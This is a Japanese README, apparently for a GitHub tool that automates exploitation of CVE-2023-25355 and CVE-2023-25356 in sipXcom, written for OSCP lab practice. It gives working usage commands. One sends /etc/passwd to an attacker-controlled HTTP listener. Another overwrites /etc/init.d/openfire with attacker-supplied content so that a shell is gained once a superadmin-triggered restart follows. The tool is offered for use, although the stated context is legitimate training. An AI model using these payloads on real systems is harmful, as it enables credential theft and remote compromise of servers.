glefait/cve-2023-25355-25356CVE-2023-25355 と CVE-2023-25356、自動サービスリロード付き
このエクスプロイトは [email protected] によって発見され、以下の2つの素晴らしい資料で紹介されています。
この脆弱性をさらに自動化するためのリポジトリが Alex Linov によって公開されています。
CVE-2023-25355 は、sipXcom サーバー上のファイルが攻撃者が制御する Web サーバーにアップロードされる、外部送信 (exfiltration) メカニズムです。
CVE-2023-25356 は最初の脆弱性の拡張であり、攻撃者が制御するファイルを sipXcom サーバーのファイルシステムに書き込むことができます。 sipXcom サービスは自身の init 設定を上書きできるため、サービスが再起動されるとすぐにシェルを簡単に取得できます。
ここで注目すべき点は、sipXcom のスーパーアドミン (superadmin) ユーザーがこのサービスを再起動できることです。 したがって、このパッケージの目的は、このサービスの再起動を完全に自動化することです。
OSCP の準備として、攻略対象のマシンがあるラボがあります。
特定のラボでは、この脆弱性の影響を受けるマシンがかなり不安定である/あったことがあり、ラボを数回起動して元に戻す必要がある場合がありました。 これは面倒です。自動化すれば、面倒は減ります。
必要なもの:
poetry install
その後、ツールはアクティブな環境から実行するか、カレントディレクトリまたは別のディレクトリから CVE の名前で実行できます。
# if the poetry environment is active (poetry shell)
cve_2023_25355 --help
# otherwise, from the current directory
poetry run cve_2023_25355 --help
# otherwise from another directory
poetry -C /shared/tools/CVE/CVE-2023-25355 run cve_2023_25355 --help
次の例では、/etc/passwd ファイルを外部に送信 (exfiltrate) するペイロードを送信し、そのファイルが攻撃者が制御する HTTP リスナーにアップロードされます。
cve_2023_25355 \
--xmpp-username my_username --xmpp-password my_password --xmpp-target-username friend_username \
--xmpp-server-address 1.2.3.4 \
--payload '--data-binary @/etc/passwd http://ATTACKER-WEB-LISTENER/some_path'
次の例では、指定された URI の内容で /etc/init.d/openfire を上書きするペイロードを送信します。
cve_2023_25356 \
--xmpp-username my_username --xmpp-password my_password --xmpp-target-username friend_username \
--xmpp-server-address 1.2.3.4 \
--sipxcom-init-file-source-uri 'http://ATTACKER-WEB-LISTENER/my-offensive-sipx-config'
その後、スーパーアドミンのパスワードを知っていれば、サービスを再起動して設定を再読み込みし、任意のガジェットをトリガーできます。
run sipxcom_service_restart \
--sipxcom-superuser-username superadmin \
--sipxcom-superuser-password superadmin_password \
--sipxcom-website https://1.2.3.4/
--debug-local-directory /tmp
./proxychains4 -f proxychains.conf cve_2023_25355 [...] --xmpp-server-address 172.1.2.3
プロジェクト: